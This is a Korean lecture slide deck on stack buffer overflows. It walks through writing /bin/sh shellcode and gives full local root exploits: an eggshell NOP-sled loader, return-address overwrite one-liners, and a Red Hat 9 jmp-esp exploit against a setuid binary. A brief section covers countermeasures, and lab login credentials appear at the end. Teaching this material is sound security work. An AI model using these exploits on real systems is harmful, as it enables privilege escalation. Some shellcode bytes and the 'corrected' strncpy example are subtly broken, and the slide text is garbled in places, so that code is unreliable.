버퍼 오버플로우 by 강희원,김무혁
목 차 버퍼 오버플로우 개념 Shell 만들기 & 스택구조 이해 버퍼 오버플로우 공격 & 방어 버퍼 오버플로우 대응책 실습
버퍼 오버플로우 개념 ■ 버퍼 오버플로우 란? 공격자가 큰 정보를 부족한 크기의 저장소에 저장하려 시도하는 것입니다. 사용자가 프로그램에서 저장을 위해 할당한 것보다 더 많은 데이터를 입력하려고 시도하는 것이 일반적인 공격 형태입니다. 버퍼 오버플로우는 보안의 세 가지 영역 모두를 침해할 수 있습니다. 즉, 버퍼 오버플로우를 이용하여 가용성(Availability)을 해치는 서비스 거부 공격을 할 수 있고, 데이터를 변경하여 무결성 (Integrity)을 해칠 수 있으며, 중대한 정보를 얻기 때문에 기밀성 (Confidentiality)을 파괴할 수 있습니다.
Shell 만들기 ■ 메모리에 대한 이해 메모리 기본 구조
■ 셸 코드 생성 Shell 만들기 기본 셸 실행 코드 컴파일 후 디버깅 shell.c #include <stdio.h> #include <unistd.h> int main(){ char *name[2]; name[0] = "/bin/sh"; name[1] = 0; execve(name[0], name, NULL); } 컴파일 후 디버깅 gcc -o shell shell.c disass main
■ 셸 코드 생성 Shell 만들기 셸 코드 디버깅 시 어셈블리어 코드 0x8048198 <main>: push %ebp 0x8048199 <main+1>: mov %esp,%ebp 0x804819b <main+3>: sub $0x8,%esp 0x804819e <main+6>: movl $0x8071548,0xfffffff8(%ebp) 0x80481a5 <main+13>: movl $0x0,0xfffffffc(%ebp) 0x80481ac <main+20>: push 0x0 0x80481ae <main+22>: lea 0xfffffff8(%ebp),%eax 0x80481b1 <main+25>: push %eax 0x80481b2 <main+26>: mov 0xfffffff8(%ebp),%eax 0x80481b5 <main+29>: push %eax 0x80481b6 <main+30>: call 0x804d02c <__execve> 0x80481bb <main+35>: add $0xc, %esp 0x80481be <main+38>: leave
■ 셸 코드 생성 Shell 만들기 기본 레지스트리 범 주 이 름 내 용 용 도 범용 레지스터 Accumulator 범 주 이 름 내 용 용 도 범용 레지스터 AX(AH, AL) Accumulator 산술 연산에 주로 쓰임 BX(BH, BL) Base Register 베이스의 주소를 저장하는 데 쓰임 CX(CH, CL) Count Register 반복적으로 실행되는 특정 명령에 사용 DX(DH, DL) Data Register 일반 자료를 저장하는 데 사용 오프셋 BP Base Pointer SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용 IP Instruction Pointer 다음 명령어의 Offset을 저장하며 CS 레지스터와 합쳐져 다음에 수행될 명령어의 주소를 형성한다. SP Stack Pointer SS 레지스터와 함께 사용되며, 스택의 가장 끝 주소를 가리킨다. DI Destination Index 다음 목적지 주소에 대한 값 저장 SI Source Index 출발지 주소에 대한 값 저장 세그먼트 DS Data Segment Register 변수의 기본 베이스 주소 저장 ES Extra Segment Register 변수의 추가 베이스 주소 저장 SS Stack Segment Register 스택의 베이스 주소 저장 CS Code Segment Register 명령어 코드의 베이스 주소 저장 Flags Register
Shell 만들기 ■ 셸 코드 생성 Main 스택 상태
■ 셸 코드 생성 Shell 만들기 어셈블리어 코드 분석 0x80481b6 <main+30>: call 0x804d02c <__execve> 0x804d02c <__execve>: push %ebp 0x804d02d <__execve+1>: mov %esp,%ebp 0x804d02f <__execve+3>: push %edi 0x804d030 <__execve+4>: push %ebx 0x804d031 <__execve+5>: mov 0x8(%ebp),%edi 0x804d034 <__execve+8>: mov $0x0,%eax 0x804d039 <__execve+13>: test %eax,%eax 0x804d03b <__execve+15>: je 0x804d042 <__execve+22> 0x804d03d <__execve+17>: call 0x0 0x804d042 <__execve+22>: mov 0xc(%ebp),%ecx 0x804d045 <__execve+25>: mov 0x10(%ebp),%edx 0x804d048 <__execve+28>: push %ebx 0x804d049 <__execve+29>: mov %edi,%ebx 0x804d04b <__execve+31>: mov $0xb,%eax 0x804d050 <__execve+36>: int $0x80
■ 셸 코드 생성 Shell 만들기 완성된 셸 코드 movl [/bin/sh 이 저장되어 있는 주소], [/bin/sh 문자열이 저장되어 있는 주소에 대한 포인터] movb $0x0, [0x0, 1 바이트에 대한 주소] movl $0x0, [NULL 에 대한 주소] movl $0xb,%eax movl [/bin/sh 문자열의 주소], %ebx leal [/bin/sh 문자열의 주소] %ecx leal [NULL 문자열의 주소] %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx
Shell 만들기 ■ 셸 코드 생성 셸 코드 실행 시 주소 값의 할당
■ 셸 코드 생성 Shell 만들기 셸 코드 실행 시 주소 값의 할당을 고려한 셸 코드 jmp [점프할 주소] popl %esi movl %esi, [‘/bin/sh’의 주소에 대한 offset](%esi) movb $0x0, [0x0 값에 대한 offset](%esi) movl $0x0, [NULL의 주소 값에 대한 offset](%esi) movl $0xb, %eax movl %esi, %ebx leal [‘/bin/sh’의 주소에 대한 offset](%esi), %ecx leal [NULL의 주소 값에 대한 Offset](%esi), %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx call [popl 에 대한 Offset] .string \"/bin/sh\"
■ 셸 코드 생성 Shell 만들기 각 명령어의 크기와 오프셋 명 령 크기 누적 값 jmp [점프할 주소] 2바이트 명 령 크기 누적 값 jmp [점프할 주소] 2바이트 popl %esi 1바이트 3바이트 movl %esi, [‘/bin/sh’의 주소에 대한 offset](%esi) 6바이트 movb $0x0, [0x0 값에 대한 offset](%esi) 4바이트 10바이트 movl $0x0, [NULL의 주소 값에 대한 offset](%esi) 7바이트 17바이트 movl $0xb, %eax 5바이트 22바이트 movl %esi, %ebx 24바이트 leal [‘/bin/sh’의 주소에 대한 offset](%esi), %ecx 27바이트 leal [NULL의 주소 값에 대한 Offset](%esi), %edx 30바이트 int $0x80 32바이트 movl $0x1, %eax 37바이트 movl $0x0, %ebx 42바이트 44바이트 call [popl 에 대한 Offset] 49바이트 .string \"/bin/sh\" 8바이트 57바이트
■ 셸 코드 생성 Shell 만들기 완성된 셸 코드 void main(){ __asm__(" jmp call shell: popl %esi movl %esi, 0x8(%esi) movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi) movl $0xb, %eax movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx
■ 셸 코드 생성 Shell 만들기 기계어 코드의 추출 gcc -o asmshell -g -ggdb asmshell.c disass main x/bx main+3
■ 셸 코드 생성 ㅍShell 만들기 추출된 기계어 코드 어셈블리어 코드 바이트 기계어 jmp 0x2a popl %esi movl %esi, 0x8(%esi) movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi) movl $0xb, %eax movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 movl $0x1, %eax movl $0x0, %ebx call -0x2f .string \"/bin/sh\" 2 1 3 4 7 5 8 \xeb\x2a \x5e \x89\x76\x08 \xc6\x46\x07\x00 \xc7\x46\x0c\x00\x00\x00\x00 \xb8\x0b\x00\x00\x00 \x89\xf3 \x8d\x4e\x08 \x8d\x56\x0c \xcd\x80 \xb8\x01\x00\x00\x00 \xbb\x00\x00\x00\x00 \xe8\xd1\xff\xff\xff \x2f\x62\x69\x6e\x2f\x73\x68
■ 셸 코드 생성 Shell 만들기 셸 코드의 최적화 변환 전 코드 변환 후 코드 movb $0x0, 0x7(%esi) movl $0x0, 0xc(%esi) xor l %eax, %eax movb %eax, 0x7(%esi) movl %eax, 0xc(%esi) movl $0xb, %eax movb $0xb, %al movl $0x1, %eax movl $0x0, %ebx xorl %ebx, %ebx movl %ebx, %eax inc %eax 0x00은 널 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 생길 수 있다. 따라서 0x00이 생기는 어셈블리어 코드를 조금 바꿔 0x00과 같은 바이트가 생성되지 않도록 해야 한다.
■ 셸 코드 생성 Shell 만들기 완성된 셸 코드 char shellcode[]= “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\\x0c\xb0\x0b\x89\xf3\x8d\x4e “\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff “\xff\x2f\x62\x69\x6e\x2f\x73\x68”; void main(){ int *ret; ret = (int *)&ret+2; (*ret)=(int)shellcode; }
버퍼 오버플로우 공격 & 방어 ■ 스택 버퍼 오버플로우 공격에 대한 이해 메모리 상태
버퍼 오버플로우 공격 & 방어 ■ 스택 버퍼 오버플로우 공격에 대한 이해 AAAAAAAAAAAAA 입력, 메모리 상태
버퍼 오버플로우 공격 & 방어 ■ 스택 버퍼 오버플로우 공격에 대한 이해 버퍼 오버플로우 공격 시 메모리 상태
■ 스택 버퍼 오버플로우 공격 수행하기 버퍼 오버플로우 공격 & 방어 bugfile int main(int argc, char *argv[]) { char buffer[10]; strcpy(buffer, argv[1]); printf("%s\n", &buffer); }
■ 스택 버퍼 오버플로우 공격 수행하기 버퍼 오버플로우 공격 & 방어 Eggshell 1 #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); }
■ 스택 버퍼 오버플로우 공격 수행하기 버퍼 오버플로우 공격 & 방어 Eggshell 2 int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { }
■ 스택 버퍼 오버플로우 공격 수행하기 버퍼 오버플로우 공격 & 방어 Eggshell 3 addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); }
■ 스택 버퍼 오버플로우 공격 수행하기 버퍼 오버플로우 공격 & 방어 1. 취약 프로그램 만들기 gcc -o bugfile bugfile.c gcc -o egg eggshell.c chmod 4755 bugfile 2. Segmentation Fault가 일어나는 지점 찾기 strings bugfile
■ 스택 버퍼 오버플로우 공격 수행하기 버퍼 오버플로우 공격 & 방어 2. Segmentation Fault 가 일어나는 지점 찾기 ./bugfile AAAAAAAAAAAAAAA (15개) ./bugfile AAAAAAAAAAAAAAAA (16개)
■ 스택 버퍼 오버플로우 공격 수행하기 버퍼 오버플로우 공격 & 방어 3. Eggshell 실행하기 4. 실제 공격 ./egg perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x58\xfd\xff\xbf"' id
■ 버퍼 오버플로우에 대한 대책과 발전된 공격 공격방법 버퍼 오버플로우 공격 & 방어 스택의 구조 GDB 2.91과 다르게 GDB 2.96에서는 더미바이트를 할당하여 RET 주소를 추측하기 힘들게 했다. 공격방법 GDB관찰을 통한 규칙성 발견 GDB관찰을 통한 RET 값을 계산 가능
버퍼 오버플로우 공격 & 방어 ■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 취약 코드
■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 7.0 스택 구조 1 break *0x804848f break *0x80484a6 run AAAA x/12 $esp
버퍼 오버플로우 공격 & 방어 ■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 7.0 스택 구조 2 c x/12 $esp
■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 7.0에서 에그 셸 실행과 공격 chmod 4755 bugfile su wishfree ./egg perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb8\xfc\xff\xbf”’
bash 셀 2.0 이상의 버전에서는 SetUID 비트가 기본으로 막힘. 버퍼 오버플로우 공격 & 방어 ■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 7.0에서 에그 셸 실행과 공격 실패 원인 bash 셀 2.0 이상의 버전에서는 SetUID 비트가 기본으로 막힘. 커널 보안조치 해결방법 /bin/sh를 SetUID 비트가 허용되는 2.0 이하의 버전으로 컴파일. 5장의 변형된 셀처럼 SetUID와 SetGIU를 0으로 명시하여 C로 코딩한 다음 셀코드를만듬.
■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 7.1에서의 공격 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb8\xfc\xff\xbf"'
■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 7.1 스택 구조의 파악 ./bugfile AAA ./egg perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc8\xfc\xff\xbf"'
■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 7.1 스택 구조의 파악 – Terminator Canary ./bugfile BBBBBB
NULL(0x00), CR(0x0d), LF(0x0a), EOF(0xff)등의 값을 스택에 저장 변조 확인 버퍼 오버플로우 공격 & 방어 ■ 리눅스 7.0과 7.1에서의 버퍼오버플로우 7.1 스택 구조의 파악 – Terminator Canary Terminator Canary NULL(0x00), CR(0x0d), LF(0x0a), EOF(0xff)등의 값을 스택에 저장 변조 확인 Random Canary 스택에 저장되는 Canary 값이 실행될 때마다 변조 RET 주소를 임의의 다른 장소에 저장해두고 RET값이 반환할 때 비교 하는 방법 등이 있다.
■ 레드햇 9.0에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 Bugfile.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> int foo(char *s1){ char buffer[20]; memset (buffer, 0, 20); strcpy (buffer, s1); printf("input:%s\r\n", buffer); } void main (int argc, char **argv){ if (argc < 2){ printf("Usage : %s <string >\n", argv[0]); exit(0); } foo (argv[1]); exit(0);
■ 레드햇 9.0에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 Findesp.c #include <stdio.h> #include <stdlib.h> #include <signal.h> unsigned int i=0x4211cc79; unsigned int a=0; unsigned char *p; void de(int j){ printf("\r\nGot SIGSEGV:"); printf("%p\r\n",p+a); a++; exit(0); } main(){ p=(unsigned char *)i; signal(SIGSEGV,de); foo(); int foo(){ while((unsigned int)p+a<0xbfffffff) { fflush(stdout); if((*(p+a)==0xff) && (*(p+a+1)==0xe4)){ printf("found it!!,p addr:%p\n",p+a); a+=2; foo(); } a++; } exit(0); }
버퍼 오버플로우 공격 & 방어 ■ 레드햇 9.0에서의 버퍼오버플로우 Findesp를 이용한 ESP 값 추출 ./findesp
■ 레드햇 9.0에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 Exploit.c #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <error.h> #define JMPESP 0x4212c5eb char progname[]="./bugfile"; char shellcode[]= "\x31\xdb\x31\xc9\x31\xd2\x31\xc0\xb0\xa4\xcd\x80" "\x89\xd8\xb0\x17\xcd\x80" "\x31\xc0\x50\x50\xb0\xb5\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";
■ 레드햇 9.0에서의 버퍼오버플로우 버퍼 오버플로우 공격 & 방어 Exploit.c main(int argc,char **argv){ char buffer[1024]; int num=24,i=0; memset(buffer,0,1024); memset(buffer,'A',num); buffer[num++]=JMPESP & 0xff; buffer[num++]=(JMPESP>>8) & 0xff; buffer[num++]=(JMPESP>>16) & 0xff; buffer[num++]=(JMPESP>>24) & 0xff; memcpy(buffer+num, shellcode, sizeof(shellcode)); execl(progname, progname, buffer, NULL); }
버퍼 오버플로우 공격 & 방어 ■ 레드햇 9.0에서의 버퍼오버플로우 Exploit를 실행하여 관리자 권한 획득
strcpy(char *dest, const char *src) ; 버퍼 오버플로우 대응책 ■ 주요 취약 코드 strcpy(char *dest, const char *src) ; strcat(char *dest, const char *src) ; getwd(char *buf) ; gets(char *s) ; fscanf(FILE *stream, const char *format, ...) ; scanf(const char *format, ...) ; realpath(char *path, char resolved_path[] ) ; sprintf(char *str, const char *format ) ;
툴을 설치 하거나 시스템 커널을 업그레이드 하거나 보안 패치를 적용하면 많은 도움이 된다. 버퍼 오버플로우 대응책 ■ 대응책 & 함수 올바른 사용법 컴파일 보조툴로 스택 가드, 스택 쉴드 등 다양한 툴을 설치 하거나 시스템 커널을 업그레이드 하거나 보안 패치를 적용하면 많은 도움이 된다. 잘못된 함수 사용 올바른 함수 사용 void function (char *str){ char buffer[20]; strcpy (buffer, str); return; } void fuction(char *str){ strncpy(buffer, str, sizeof(buffer-1); buffer[sizeof(buffer)-1]=0;
실습 ■ 실습 정보 telnet 192.168.107.240 ID : Test01 PW : t200708
ㄱ ㅅ